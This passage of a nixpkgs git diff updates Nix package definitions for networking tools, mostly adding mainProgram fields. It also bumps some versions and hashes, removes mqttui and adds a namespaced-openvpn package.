a/pkgs/tools/networking/hss/default.nix +++ b/pkgs/tools/networking/hss/default.nix @@ -30,5 +30,6 @@ buildRubyGem rec { license = licenses.mit; maintainers = with maintainers; [ nixy ]; platforms = platforms.unix; + mainProgram = "hss"; }; } diff --git a/pkgs/tools/networking/htpdate/default.nix b/pkgs/tools/networking/htpdate/default.nix index 936e582a1a4f7..60934216a2ef2 100644 --- a/pkgs/tools/networking/htpdate/default.nix +++ b/pkgs/tools/networking/htpdate/default.nix @@ -21,5 +21,6 @@ stdenv.mkDerivation rec { platforms = platforms.linux; license = licenses.gpl2Plus; maintainers = with maintainers; [ julienmalka ]; + mainProgram = "htpdate"; }; } diff --git a/pkgs/tools/networking/httperf/default.nix b/pkgs/tools/networking/httperf/default.nix index 975b050de7e33..dca67e7c39a15 100644 --- a/pkgs/tools/networking/httperf/default.nix +++ b/pkgs/tools/networking/httperf/default.nix @@ -32,6 +32,7 @@ stdenv.mkDerivation rec { maintainers = with maintainers; [ ]; license = licenses.gpl2; platforms = platforms.all; + mainProgram = "httperf"; }; } diff --git a/pkgs/tools/networking/httping/default.nix b/pkgs/tools/networking/httping/default.nix index 5a3b8e76c271e..1933dc41de0f1 100644 --- a/pkgs/tools/networking/httping/default.nix +++ b/pkgs/tools/networking/httping/default.nix @@ -58,5 +58,6 @@ stdenv.mkDerivation rec { license = licenses.agpl3Only; maintainers = []; platforms = platforms.linux ++ platforms.darwin; + mainProgram = "httping"; }; } diff --git a/pkgs/tools/networking/httplab/default.nix b/pkgs/tools/networking/httplab/default.nix index 2fe0f15b38525..c78f32d056500 100644 --- a/pkgs/tools/networking/httplab/default.nix +++ b/pkgs/tools/networking/httplab/default.nix @@ -1,25 +1,17 @@ -{ lib, buildGoModule, fetchFromGitHub, fetchpatch }: +{ lib, buildGoModule, fetchFromGitHub }: buildGoModule rec { pname = "httplab"; - version = "0.4.0"; + version = "0.4.2"; src = fetchFromGitHub { owner = "qustavo"; repo = "httplab"; rev = "v${version}"; - hash = "sha256-+qcECfQo9Wa4JQ09ujhKjQndmcFn03hTfII636+1ghA="; + hash = "sha256-UL1i8JpgofXUB+jtW2EtSR1pM/Fdqnbg2EXPJAjc0H0="; }; - vendorHash = null; - - patches = [ - # Add Go Modules support - (fetchpatch { - url = "https://github.com/qustavo/httplab/commit/80680bebc83f1ed19216f60339c62cd9213d736b.patch"; - hash = "sha256-y4KO3FGwKNAfM+4uR3KDbV90d/4JeBGvWtfirDJrWZk="; - }) - ]; + vendorHash = "sha256-vL3a9eO5G0WqnqcIjA9D2XM7iQ87JH0q+an2nLcG28A="; ldflags = [ "-s" "-w" ]; @@ -28,5 +20,6 @@ buildGoModule rec { description = "Interactive WebServer"; license = licenses.mit; maintainers = with maintainers; [ pradeepchhetri ]; + mainProgram = "httplab"; }; } diff --git a/pkgs/tools/networking/httprobe/default.nix b/pkgs/tools/networking/httprobe/default.nix index 8400a7d12d142..b1a03ed6b488a 100644 --- a/pkgs/tools/networking/httprobe/default.nix +++ b/pkgs/tools/networking/httprobe/default.nix @@ -23,5 +23,6 @@ buildGoModule rec { homepage = "https://github.com/tomnomnom/httprobe"; license = licenses.mit; maintainers = with maintainers; [ figsoda ]; + mainProgram = "httprobe"; }; } diff --git a/pkgs/tools/networking/hue-cli/default.nix b/pkgs/tools/networking/hue-cli/default.nix index f2ea6b37c8101..76f7dc8e25c7a 100644 --- a/pkgs/tools/networking/hue-cli/default.nix +++ b/pkgs/tools/networking/hue-cli/default.nix @@ -13,5 +13,6 @@ bundlerApp { license = licenses.mit; platforms = platforms.unix; maintainers = with maintainers; [ manveru nicknovitski ]; + mainProgram = "hue"; }; } diff --git a/pkgs/tools/networking/hysteria/default.nix b/pkgs/tools/networking/hysteria/default.nix index 649a5b074a78d..705d8025742be 100644 --- a/pkgs/tools/networking/hysteria/default.nix +++ b/pkgs/tools/networking/hysteria/default.nix @@ -38,5 +38,6 @@ buildGoModule rec { license = licenses.mit; platforms = platforms.unix; maintainers = with maintainers; [ oluceps ]; + mainProgram = "hysteria"; }; } diff --git a/pkgs/tools/networking/i2p/default.nix b/pkgs/tools/networking/i2p/default.nix index c160dfd2e7a9e..6958a12cdf3dd 100644 --- a/pkgs/tools/networking/i2p/default.nix +++ b/pkgs/tools/networking/i2p/default.nix @@ -81,5 +81,6 @@ stdenv.mkDerivation (finalAttrs: { ]; platforms = [ "x86_64-linux" "i686-linux" "aarch64-linux" ]; maintainers = with maintainers; [ joelmo ]; + mainProgram = "i2prouter-plain"; }; }) diff --git a/pkgs/tools/networking/i2pd/default.nix b/pkgs/tools/networking/i2pd/default.nix index ffcf397ea1a17..01c07c0436a52 100644 --- a/pkgs/tools/networking/i2pd/default.nix +++ b/pkgs/tools/networking/i2pd/default.nix @@ -45,5 +45,6 @@ stdenv.mkDerivation rec { license = licenses.bsd3; maintainers = with maintainers; [ edwtjo ]; platforms = platforms.unix; + mainProgram = "i2pd"; }; } diff --git a/pkgs/tools/networking/ifstat-legacy/default.nix b/pkgs/tools/networking/ifstat-legacy/default.nix index 014cce5ea4f1b..ff36f83ef8dc4 100644 --- a/pkgs/tools/networking/ifstat-legacy/default.nix +++ b/pkgs/tools/networking/ifstat-legacy/default.nix @@ -26,5 +26,6 @@ stdenv.mkDerivation rec { maintainers = with maintainers; [ peterhoeg ]; platforms = platforms.unix; license = licenses.gpl2; + mainProgram = "ifstat-legacy"; }; } diff --git a/pkgs/tools/networking/iftop/default.nix b/pkgs/tools/networking/iftop/default.nix index 100164ff3db7e..c40a8ee51238b 100644 --- a/pkgs/tools/networking/iftop/default.nix +++ b/pkgs/tools/networking/iftop/default.nix @@ -38,5 +38,6 @@ stdenv.mkDerivation rec { homepage = "http://ex-parrot.com/pdw/iftop/"; platforms = platforms.unix; maintainers = [ ]; + mainProgram = "iftop"; }; } diff --git a/pkgs/tools/networking/igmpproxy/default.nix b/pkgs/tools/networking/igmpproxy/default.nix index 73d47c14177f1..252f9dd056091 100644 --- a/pkgs/tools/networking/igmpproxy/default.nix +++ b/pkgs/tools/networking/igmpproxy/default.nix @@ -22,5 +22,6 @@ stdenv.mkDerivation rec { # The maintainer is using this on linux, but if you test it on other platforms # please add them here! platforms = platforms.linux; + mainProgram = "igmpproxy"; }; } diff --git a/pkgs/tools/networking/inadyn/default.nix b/pkgs/tools/networking/inadyn/default.nix index c5a13f04cade8..68e1483e7a923 100644 --- a/pkgs/tools/networking/inadyn/default.nix +++ b/pkgs/tools/networking/inadyn/default.nix @@ -29,5 +29,6 @@ stdenv.mkDerivation rec { license = licenses.gpl2Plus; maintainers = with maintainers; [ ]; platforms = platforms.linux; + mainProgram = "inadyn"; }; } diff --git a/pkgs/tools/networking/ip2location/default.nix b/pkgs/tools/networking/ip2location/default.nix index df5d26b4f5dbd..6fa9345b3f01f 100644 --- a/pkgs/tools/networking/ip2location/default.nix +++ b/pkgs/tools/networking/ip2location/default.nix @@ -24,5 +24,6 @@ stdenv.mkDerivation rec { homepage = "https://www.ip2location.com/free/applications"; license = with licenses; [ gpl3Plus lgpl3Plus ]; platforms = platforms.linux; + mainProgram = "ip2location"; }; } diff --git a/pkgs/tools/networking/ip2unix/default.nix b/pkgs/tools/networking/ip2unix/default.nix index a214d302e126c..b37d5b1272c8a 100644 --- a/pkgs/tools/networking/ip2unix/default.nix +++ b/pkgs/tools/networking/ip2unix/default.nix @@ -42,5 +42,6 @@ stdenv.mkDerivation rec { platforms = lib.platforms.linux; license = lib.licenses.lgpl3; maintainers = [ lib.maintainers.aszlig ]; + mainProgram = "ip2unix"; }; } diff --git a/pkgs/tools/networking/ipcalc/default.nix b/pkgs/tools/networking/ipcalc/default.nix index 454f595e8e642..e45a2162dd3af 100644 --- a/pkgs/tools/networking/ipcalc/default.nix +++ b/pkgs/tools/networking/ipcalc/default.nix @@ -56,5 +56,6 @@ stdenv.mkDerivation rec { license = licenses.gpl2Plus; maintainers = with maintainers; [ peterhoeg ]; platforms = platforms.unix; + mainProgram = "ipcalc"; }; } diff --git a/pkgs/tools/networking/ivpn/default.nix b/pkgs/tools/networking/ivpn/default.nix index f5df7e6c38459..62ac14812aadf 100644 --- a/pkgs/tools/networking/ivpn/default.nix +++ b/pkgs/tools/networking/ivpn/default.nix @@ -41,6 +41,7 @@ builtins.mapAttrs (pname: attrs: buildGoModule (attrs // rec { changelog = "https://github.com/ivpn/desktop-app/releases/tag/v${version}"; license = licenses.gpl3Only; maintainers = with maintainers; [ urandom ataraxiasjel ]; + mainProgram = "ivpn"; }; })) { ivpn = { diff --git a/pkgs/tools/networking/jnettop/default.nix b/pkgs/tools/networking/jnettop/default.nix index 2c002843eca1f..0be765028635a 100644 --- a/pkgs/tools/networking/jnettop/default.nix +++ b/pkgs/tools/networking/jnettop/default.nix @@ -42,5 +42,6 @@ stdenv.mkDerivation rec { homepage = "https://sourceforge.net/projects/jnettop/"; license = lib.licenses.gpl2Plus; platforms = lib.platforms.unix; + mainProgram = "jnettop"; }; } diff --git a/pkgs/tools/networking/kail/default.nix b/pkgs/tools/networking/kail/default.nix index 55217ee33c3ad..809aa6a757b5b 100644 --- a/pkgs/tools/networking/kail/default.nix +++ b/pkgs/tools/networking/kail/default.nix @@ -24,5 +24,6 @@ buildGoModule rec { homepage = "https://github.com/boz/kail"; license = licenses.mit; maintainers = with maintainers; [ offline vdemeester ]; + mainProgram = "kail"; }; } diff --git a/pkgs/tools/networking/kapp/default.nix b/pkgs/tools/networking/kapp/default.nix index c068c4ac1f420..c74a0a8cd47b7 100644 --- a/pkgs/tools/networking/kapp/default.nix +++ b/pkgs/tools/networking/kapp/default.nix @@ -39,5 +39,6 @@ buildGoModule rec { homepage = "https://carvel.dev/kapp/"; license = licenses.asl20; maintainers = with maintainers; [ brodes ]; + mainProgram = "kapp"; }; } diff --git a/pkgs/tools/networking/keama/default.nix b/pkgs/tools/networking/keama/default.nix index 0b1e8c91aa151..c00f7d63f1f91 100644 --- a/pkgs/tools/networking/keama/default.nix +++ b/pkgs/tools/networking/keama/default.nix @@ -27,5 +27,6 @@ stdenv.mkDerivation rec { license = licenses.mpl20; platforms = platforms.unix; maintainers = with maintainers; [ blitz ]; + mainProgram = "keama"; }; } diff --git a/pkgs/tools/networking/labctl/default.nix b/pkgs/tools/networking/labctl/default.nix index b8139fe731cb3..00cb63b31d1d0 100644 --- a/pkgs/tools/networking/labctl/default.nix +++ b/pkgs/tools/networking/labctl/default.nix @@ -37,5 +37,6 @@ buildGoModule rec { homepage = "https://labctl.net"; license = licenses.asl20; maintainers = with maintainers; [ janik ]; + mainProgram = "labctl"; }; } diff --git a/pkgs/tools/networking/libreswan/default.nix b/pkgs/tools/networking/libreswan/default.nix index 49e4df298bc78..12bd432c7329c 100644 --- a/pkgs/tools/networking/libreswan/default.nix +++ b/pkgs/tools/networking/libreswan/default.nix @@ -157,5 +157,6 @@ stdenv.mkDerivation rec { platforms = platforms.linux ++ platforms.freebsd; license = with licenses; [ gpl2Plus mpl20 ] ; maintainers = with maintainers; [ afranchuk rnhmjoj ]; + mainProgram = "ipsec"; }; } diff --git a/pkgs/tools/networking/ligolo-ng/default.nix b/pkgs/tools/networking/ligolo-ng/default.nix index 7cf4a6ffce007..7eee1ccb047dd 100644 --- a/pkgs/tools/networking/ligolo-ng/default.nix +++ b/pkgs/tools/networking/ligolo-ng/default.nix @@ -5,13 +5,13 @@ buildGoModule rec { pname = "ligolo-ng"; - version = "0.5.1"; + version = "0.5.2"; src = fetchFromGitHub { owner = "tnpitsecurity"; repo = "ligolo-ng"; rev = "refs/tags/v${version}"; - hash = "sha256-tx/iwb7eaaJODPMJhg4EdLMaua2Bm1frZh4rsl1bFxc="; + hash = "sha256-pFk/9AFtnMBNi5hdVWDzfxCTFe9wSkFydHciTpMRxQw="; }; vendorHash = "sha256-QEGF12yJ+CQjIHx6kOwsykVhelp5npnglk7mIbOeIpI="; diff --git a/pkgs/tools/networking/linux-router/default.nix b/pkgs/tools/networking/linux-router/default.nix index 997546403fd3d..b5cc9ef6f5dd9 100644 --- a/pkgs/tools/networking/linux-router/default.nix +++ b/pkgs/tools/networking/linux-router/default.nix @@ -94,5 +94,6 @@ stdenv.mkDerivation rec { license = licenses.lgpl21Only; maintainers = with maintainers; [ x3ro ]; platforms = platforms.linux; + mainProgram = "lnxrouter"; }; } diff --git a/pkgs/tools/networking/lxi-tools/default.nix b/pkgs/tools/networking/lxi-tools/default.nix index 6f94988c2c589..5a5db2a970942 100644 --- a/pkgs/tools/networking/lxi-tools/default.nix +++ b/pkgs/tools/networking/lxi-tools/default.nix @@ -50,5 +50,6 @@ stdenv.mkDerivation rec { license = licenses.bsd3; platforms = platforms.unix; maintainers = [ maintainers.vq ]; + mainProgram = "lxi"; }; } diff --git a/pkgs/tools/networking/lychee/default.nix b/pkgs/tools/networking/lychee/default.nix index 1881a945735a7..91620663e604c 100644 --- a/pkgs/tools/networking/lychee/default.nix +++ b/pkgs/tools/networking/lychee/default.nix @@ -47,5 +47,6 @@ rustPlatform.buildRustPackage rec { downloadPage = "https://github.com/lycheeverse/lychee/releases/tag/v${version}"; license = with licenses; [ asl20 mit ]; maintainers = with maintainers; [ totoroot tuxinaut ]; + mainProgram = "lychee"; }; } diff --git a/pkgs/tools/networking/mailsend/default.nix b/pkgs/tools/networking/mailsend/default.nix index ab1717da651a4..d009e09ac3662 100644 --- a/pkgs/tools/networking/mailsend/default.nix +++ b/pkgs/tools/networking/mailsend/default.nix @@ -44,5 +44,6 @@ stdenv.mkDerivation rec { platforms = platforms.linux; homepage = "https://github.com/muquit/mailsend"; downloadPage = "https://github.com/muquit/mailsend/releases"; + mainProgram = "mailsend"; }; } diff --git a/pkgs/tools/networking/maphosts/default.nix b/pkgs/tools/networking/maphosts/default.nix index 6632485b70919..9b0aa5cb899b8 100644 --- a/pkgs/tools/networking/maphosts/default.nix +++ b/pkgs/tools/networking/maphosts/default.nix @@ -25,5 +25,6 @@ in stdenv.mkDerivation { license = licenses.mit; maintainers = with maintainers; [ mpscholten nicknovitski ]; platforms = platforms.all; + mainProgram = "maphosts"; }; } diff --git a/pkgs/tools/networking/mbidled/default.nix b/pkgs/tools/networking/mbidled/default.nix index 1b5c1c3dc3d4d..9e07d1afbe213 100644 --- a/pkgs/tools/networking/mbidled/default.nix +++ b/pkgs/tools/networking/mbidled/default.nix @@ -35,5 +35,6 @@ stdenv.mkDerivation { license = licenses.unlicense; maintainers = with maintainers; [ laalsaas ]; platforms = platforms.linux; + mainProgram = "mbidled"; }; } diff --git a/pkgs/tools/networking/mcrcon/default.nix b/pkgs/tools/networking/mcrcon/default.nix index 713a3dbfd91ba..c9f9f81a3ddfb 100644 --- a/pkgs/tools/networking/mcrcon/default.nix +++ b/pkgs/tools/networking/mcrcon/default.nix @@ -29,5 +29,6 @@ stdenv.mkDerivation rec { ''; maintainers = with lib.maintainers; [ dermetfan ]; license = with lib.licenses; [ zlib libpng ]; + mainProgram = "mcrcon"; }; } diff --git a/pkgs/tools/networking/mdk4/default.nix b/pkgs/tools/networking/mdk4/default.nix index 979584db432d7..53713f473a169 100644 --- a/pkgs/tools/networking/mdk4/default.nix +++ b/pkgs/tools/networking/mdk4/default.nix @@ -29,5 +29,6 @@ stdenv.mkDerivation { homepage = "https://github.com/aircrack-ng/mdk4"; maintainers = with maintainers; [ moni ]; license = licenses.gpl2Plus; + mainProgram = "mdk4"; }; } diff --git a/pkgs/tools/networking/memtier-benchmark/default.nix b/pkgs/tools/networking/memtier-benchmark/default.nix index f4ecbb9863145..d77ef2d417d5a 100644 --- a/pkgs/tools/networking/memtier-benchmark/default.nix +++ b/pkgs/tools/networking/memtier-benchmark/default.nix @@ -27,5 +27,6 @@ stdenv.mkDerivation rec { license = lib.licenses.gpl2; platforms = lib.platforms.linux; maintainers = with lib.maintainers; [ thoughtpolice ]; + mainProgram = "memtier_benchmark"; }; } diff --git a/pkgs/tools/networking/minidlna/default.nix b/pkgs/tools/networking/minidlna/default.nix index 2a1eeb0fa4b57..6bdea670c13b9 100644 --- a/pkgs/tools/networking/minidlna/default.nix +++ b/pkgs/tools/networking/minidlna/default.nix @@ -38,5 +38,6 @@ stdenv.mkDerivation { homepage = "https://sourceforge.net/projects/minidlna/"; license = licenses.gpl2; platforms = platforms.linux; + mainProgram = "minidlnad"; }; } diff --git a/pkgs/tools/networking/minio-client/default.nix b/pkgs/tools/networking/minio-client/default.nix index 03e10d9b62fa1..804181d35bf5a 100644 --- a/pkgs/tools/networking/minio-client/default.nix +++ b/pkgs/tools/networking/minio-client/default.nix @@ -2,16 +2,16 @@ buildGoModule rec { pname = "minio-client"; - version = "2024-02-09T22-18-24Z"; + version = "2024-03-07T00-31-49Z"; src = fetchFromGitHub { owner = "minio"; repo = "mc"; rev = "RELEASE.${version}"; - sha256 = "sha256-Z4bqbU5ZDVlHLHyJWTNLSjBgE3Fybn/oUyqjod0bUCw="; + sha256 = "sha256-vrK3CjZWJp8Qs1GiTs3rcOYyrkBDVGspSLL63u9r/8Q="; }; - vendorHash = "sha256-wxFhj+oqj5WV/UkPZlmeJHF2WC4oLlZOql1qgSFs+zU="; + vendorHash = "sha256-T0NOik/KQ2j666BeHPuEyU2ngne2K+NIF8AVAoMXsaM="; subPackages = [ "." ]; diff --git a/pkgs/tools/networking/minissdpd/default.nix b/pkgs/tools/networking/minissdpd/default.nix index 088645705f626..b2a95972613b5 100644 --- a/pkgs/tools/networking/minissdpd/default.nix +++ b/pkgs/tools/networking/minissdpd/default.nix @@ -35,5 +35,6 @@ stdenv.mkDerivation rec { downloadPage = "http://miniupnp.free.fr/files/"; license = licenses.bsd3; platforms = platforms.linux; + mainProgram = "minissdpd"; }; } diff --git a/pkgs/tools/networking/mmsd-tng/default.nix b/pkgs/tools/networking/mmsd-tng/default.nix index eaf1226375196..8d82867745957 100644 --- a/pkgs/tools/networking/mmsd-tng/default.nix +++ b/pkgs/tools/networking/mmsd-tng/default.nix @@ -49,5 +49,6 @@ stdenv.mkDerivation rec { license = licenses.gpl2Plus; maintainers = with maintainers; [ julm ]; platforms = platforms.linux; + mainProgram = "mmsdtng"; }; } diff --git a/pkgs/tools/networking/mockoon/default.nix b/pkgs/tools/networking/mockoon/default.nix index f100239a61dd6..0a2670009cced 100644 --- a/pkgs/tools/networking/mockoon/default.nix +++ b/pkgs/tools/networking/mockoon/default.nix @@ -36,5 +36,6 @@ appimageTools.wrapType2 { homepage = "https://mockoon.com"; license = licenses.mit; maintainers = with maintainers; [ dit7ya ]; + mainProgram = "mockoon"; }; } diff --git a/pkgs/tools/networking/modemmanager/default.nix b/pkgs/tools/networking/modemmanager/default.nix index dd36f4b7465af..6c4356d04fd4a 100644 --- a/pkgs/tools/networking/modemmanager/default.nix +++ b/pkgs/tools/networking/modemmanager/default.nix @@ -47,6 +47,7 @@ stdenv.mkDerivation rec { gettext pkg-config libxslt + python3 ]; buildInputs = [ diff --git a/pkgs/tools/networking/mole/default.nix b/pkgs/tools/networking/mole/default.nix index 39d109118d95a..e5585be469fcd 100644 --- a/pkgs/tools/networking/mole/default.nix +++ b/pkgs/tools/networking/mole/default.nix @@ -29,5 +29,6 @@ buildGoModule rec { license = with licenses; [ mit ]; maintainers = with maintainers; [ fab ]; broken = stdenv.isDarwin; # build fails with go > 1.17 + mainProgram = "mole"; }; } diff --git a/pkgs/tools/networking/motrix/default.nix b/pkgs/tools/networking/motrix/default.nix index 828c236494b39..2270034ce5de2 100644 --- a/pkgs/tools/networking/motrix/default.nix +++ b/pkgs/tools/networking/motrix/default.nix @@ -35,5 +35,6 @@ appimageTools.wrapType2 { platforms = [ "x86_64-linux" ]; sourceProvenance = with sourceTypes; [ binaryNativeCode ]; maintainers = with maintainers; [ dit7ya ]; + mainProgram = "motrix"; }; } diff --git a/pkgs/tools/networking/mozillavpn/default.nix b/pkgs/tools/networking/mozillavpn/default.nix index 1812dc690e180..194ac57d2cbfe 100644 --- a/pkgs/tools/networking/mozillavpn/default.nix +++ b/pkgs/tools/networking/mozillavpn/default.nix @@ -26,13 +26,13 @@ let pname = "mozillavpn"; - version = "2.19.0"; + version = "2.20.0"; src = fetchFromGitHub { owner = "mozilla-mobile"; repo = "mozilla-vpn-client"; rev = "v${version}"; fetchSubmodules = true; - hash = "sha256-aXfxUtGm+vq8U3jYTxYhOP7UXL6ukCJgmGQO2Wsqobo="; + hash = "sha256-pPc7++m21DO349VJsaJZRk3xY+qqzgv6Jj5cwYQI3NI="; }; patches = [ ]; @@ -46,19 +46,19 @@ let inherit src patches; name = "${pname}-${version}-extension-bridge"; preBuild = "cd extension/bridge"; - hash = "sha256-23GTXsbjL8qfGA5NdPlrbdaA8rg8vOZsZCXvevi7Chc="; + hash = "sha256-wXr9+eyHBQcwEHy/DLixLZ/0DnFHhtiqrbl5q/7qx0U="; }; signatureDeps = rustPlatform.fetchCargoTarball { inherit src patches; name = "${pname}-${version}-signature"; preBuild = "cd signature"; - hash = "sha256-TB172hVIilDTl+y0shNp55if+FhrXjWSaGNF7K6GSH8="; + hash = "sha256-7Gz4T5wF/xpbNJZqudEaEs67q1Y6NMUuXe6u34FWqIA="; }; qtgleanDeps = rustPlatform.fetchCargoTarball { inherit src patches; name = "${pname}-${version}-qtglean"; preBuild = "cd qtglean"; - hash = "sha256-tfQ2ogSDDXNPeygBy+el+71iwcafSfY78hvYPHurKPE="; + hash = "sha256-CTubwS4O3az8AHGa5YQgvjXQfh1j9w6jFmiX37aYjOw="; }; in diff --git a/pkgs/tools/networking/mozwire/default.nix b/pkgs/tools/networking/mozwire/default.nix index d0e59e1fd8384..40c6d3ec7827b 100644 --- a/pkgs/tools/networking/mozwire/default.nix +++ b/pkgs/tools/networking/mozwire/default.nix @@ -29,5 +29,6 @@ rustPlatform.buildRustPackage rec { homepage = "https://github.com/NilsIrl/MozWire"; license = licenses.gpl3; maintainers = with maintainers; [ siraben nilsirl ]; + mainProgram = "mozwire"; }; } diff --git a/pkgs/tools/networking/mqtt-benchmark/default.nix b/pkgs/tools/networking/mqtt-benchmark/default.nix index a2ab1b61520e8..bc755247c40c0 100644 --- a/pkgs/tools/networking/mqtt-benchmark/default.nix +++ b/pkgs/tools/networking/mqtt-benchmark/default.nix @@ -22,5 +22,6 @@ buildGoModule rec { changelog = "https://github.com/krylovsk/mqtt-benchmark/releases/tag/v${version}"; license = licenses.asl20; maintainers = with maintainers; [ fab ]; + mainProgram = "mqtt-benchmark"; }; } diff --git a/pkgs/tools/networking/mqttui/default.nix b/pkgs/tools/networking/mqttui/default.nix deleted file mode 100644 index b090b19ba8fa2..0000000000000 --- a/pkgs/tools/networking/mqttui/default.nix +++ /dev/null @@ -1,30 +0,0 @@ -{ lib -, stdenv -, fetchFromGitHub -, rustPlatform -, Security -}: - -rustPlatform.buildRustPackage rec { - pname = "mqttui"; - version = "0.19.0"; - - src = fetchFromGitHub { - owner = "EdJoPaTo"; - repo = pname; - rev = "refs/tags/v${version}"; - hash = "sha256-cezG9hdHOeTExX4OJwJ22e/PvfdySPzQGwxumavV++Q="; - }; - - cargoHash = "sha256-vSlziZtjyzsd346qUBEPEl8I3UlPhWHRu4+FiD1XqOo="; - - buildInputs = lib.optional stdenv.isDarwin Security; - - meta = with lib; { - description = "Terminal client for MQTT"; - homepage = "https://github.com/EdJoPaTo/mqttui"; - changelog = "https://github.com/EdJoPaTo/mqttui/blob/v${version}/CHANGELOG.md"; - license = licenses.gpl3Only; - maintainers = with maintainers; [ fab ]; - }; -} diff --git a/pkgs/tools/networking/mtr-exporter/default.nix b/pkgs/tools/networking/mtr-exporter/default.nix index 4dc276c023fca..9c7c9bec41ea9 100644 --- a/pkgs/tools/networking/mtr-exporter/default.nix +++ b/pkgs/tools/networking/mtr-exporter/default.nix @@ -21,5 +21,6 @@ buildGoModule rec { homepage = "https://github.com/mgumz/mtr-exporter"; license = licenses.bsd3; maintainers = with maintainers; [ jakubgs ]; + mainProgram = "mtr-exporter"; }; } diff --git a/pkgs/tools/networking/mu/default.nix b/pkgs/tools/networking/mu/default.nix index 6f3f556e25928..f94e83552130e 100644 --- a/pkgs/tools/networking/mu/default.nix +++ b/pkgs/tools/networking/mu/default.nix @@ -1,21 +1,23 @@ { lib , stdenv , fetchFromGitHub +, glibcLocales , meson , ninja , pkg-config +, python3 +, cld2 , coreutils , emacs , glib , gmime3 , texinfo , xapian -, fetchpatch }: stdenv.mkDerivation rec { pname = "mu"; - version = "1.10.8"; + version = "1.12.1"; outputs = [ "out" "mu4e" ]; @@ -23,23 +25,17 @@ stdenv.mkDerivation rec { owner = "djcb"; repo = "mu"; rev = "v${version}"; - hash = "sha256-cDfW0yXA+0fZY5lv4XCHWu+5B0svpMeVMf8ttX/z4Og="; + hash = "sha256-JnKvMbgkaZ1MO7cZMb2PGZsNMjV1M+dnaDpsBDsT0L4="; }; - patches = [ - (fetchpatch { - name = "add-mu4e-pkg.el"; - url = "https://github.com/djcb/mu/commit/00f7053d51105eea0c72151f1a8cf0b6d8478e4e.patch"; - hash = "sha256-21c7djmYTcqyyygqByo9vu/GsH8WMYcq8NOAvJsS5AQ="; - }) - ]; - postPatch = '' - # Fix mu4e-builddir (set it to $out) - substituteInPlace mu4e/mu4e-config.el.in \ - --replace "@abs_top_builddir@" "$out" - substituteInPlace lib/utils/mu-test-utils.cc \ - --replace "/bin/rm" "${coreutils}/bin/rm" + substituteInPlace lib/utils/mu-utils-file.cc \ + --replace-fail "/bin/rm" "${coreutils}/bin/rm" + substituteInPlace lib/tests/bench-indexer.cc \ + --replace-fail "/bin/rm" "${coreutils}/bin/rm" + substituteInPlace lib/mu-maildir.cc \ + --replace-fail "/bin/mv" "${coreutils}/bin/mv" + patchShebangs build-aux/date.py ''; postInstall = '' @@ -61,7 +57,7 @@ stdenv.mkDerivation rec { fi ''; - buildInputs = [ emacs glib gmime3 texinfo xapian ]; + buildInputs = [ cld2 emacs glib gmime3 texinfo xapian ]; mesonFlags = [ "-Dguile=disabled" @@ -69,10 +65,13 @@ stdenv.mkDerivation rec { "-Dlispdir=${placeholder "mu4e"}/share/emacs/site-lisp" ]; - nativeBuildInputs = [ pkg-config meson ninja ]; + nativeBuildInputs = [ pkg-config meson ninja python3 glibcLocales ]; doCheck = true; + # Tests need a UTF-8 aware locale configured + env.LANG = "C.UTF-8"; + meta = with lib; { description = "A collection of utilities for indexing and searching Maildirs"; license = licenses.gpl3Plus; diff --git a/pkgs/tools/networking/mubeng/default.nix b/pkgs/tools/networking/mubeng/default.nix index 8e50188ec814c..ea431c3eea985 100644 --- a/pkgs/tools/networking/mubeng/default.nix +++ b/pkgs/tools/networking/mubeng/default.nix @@ -28,5 +28,6 @@ buildGoModule rec { changelog = "https://github.com/kitabisa/mubeng/releases/tag/v${version}"; license = with licenses; [ asl20 ]; maintainers = with maintainers; [ fab ]; + mainProgram = "mubeng"; }; } diff --git a/pkgs/tools/networking/muffet/default.nix b/pkgs/tools/networking/muffet/default.nix index 133eaf3b27ba3..a9fe4398afd74 100644 --- a/pkgs/tools/networking/muffet/default.nix +++ b/pkgs/tools/networking/muffet/default.nix @@ -5,16 +5,16 @@ buildGoModule rec { pname = "muffet"; - version = "2.9.3"; + version = "2.10.0"; src = fetchFromGitHub { owner = "raviqqe"; repo = "muffet"; rev = "v${version}"; - hash = "sha256-w9PoKGxZdP/sKdlTlnWBMqDPDLUvcYubkCyNHUm3AAc="; + hash = "sha256-kwEHabQYAaxC8nKewc5XHZnSvUSEQRw7qg0jtJoOw9g="; }; - vendorHash = "sha256-2an4xj1gqQqj9NrSdTAss7hn6SiWoiq3RQ2xxUlSuaE="; + vendorHash = "sha256-GNwyQHqyfuzKnNAv5gpZFmhSq+jIHdfeceLSD9UphdA="; meta = with lib; { description = "A website link checker which scrapes and inspects all pages in a website recursively"; @@ -22,5 +22,6 @@ buildGoModule rec { changelog = "https://github.com/raviqqe/muffet/releases/tag/v${version}"; license = licenses.mit; maintainers = with maintainers; [ figsoda ]; + mainProgram = "muffet"; }; } diff --git a/pkgs/tools/networking/namespaced-openvpn/default.nix b/pkgs/tools/networking/namespaced-openvpn/default.nix new file mode 100644 index 0000000000000..abcf006b76415 --- /dev/null +++ b/pkgs/tools/networking/namespaced-openvpn/default.nix @@ -0,0 +1,52 @@ +{ lib, + fetchFromGitHub, + buildPythonPackage, + openvpn, + iproute2, + iptables, + util-linux +}: + +buildPythonPackage rec { + pname = "namespaced-openvpn"; + version = "0.6.0"; + format = "other"; + + src = fetchFromGitHub { + owner = "slingamn"; + repo = pname; + rev = "a3fa42b2d8645272cbeb6856e26a7ea9547cb7d1"; + sha256 = "+Fdaw9EGyFGH9/DSeVJczS8gPzAOv+qn+1U20zQBBqQ="; + }; + + buildInputs = [ openvpn iproute2 util-linux ]; + + postPatch = '' + substituteInPlace namespaced-openvpn \ + --replace-fail "/usr/sbin/openvpn" "${openvpn}/bin/openvpn" \ + --replace-fail "/sbin/ip" "${iproute2}/bin/ip" \ + --replace-fail "/usr/bin/nsenter" "${util-linux}/bin/nsenter" \ + --replace-fail "/bin/mount" "${util-linux}/bin/mount" \ + --replace-fail "/bin/umount" "${util-linux}/bin/umount" + + substituteInPlace seal-unseal-gateway \ + --replace-fail "/sbin/iptables" "${iptables}/bin/iptables" + ''; + + dontBuild = true; + doCheck = false; + + installPhase = '' + mkdir -p $out/bin + cp namespaced-openvpn seal-unseal-gateway $out/bin + ''; + + meta = with lib; { + homepage = "https://github.com/slingamn/namespaced-openvpn"; + description = "Network namespace isolation for OpenVPN tunnels."; + license = licenses.mit; + maintainers = [ maintainers.lodi ]; + platforms = platforms.linux; + mainProgram = "namespaced-openvpn"; + }; +} diff --git a/pkgs/tools/networking/narrowlink/Cargo.lock.patch b/pkgs/tools/networking/narrowlink/Cargo.lock.patch deleted file mode 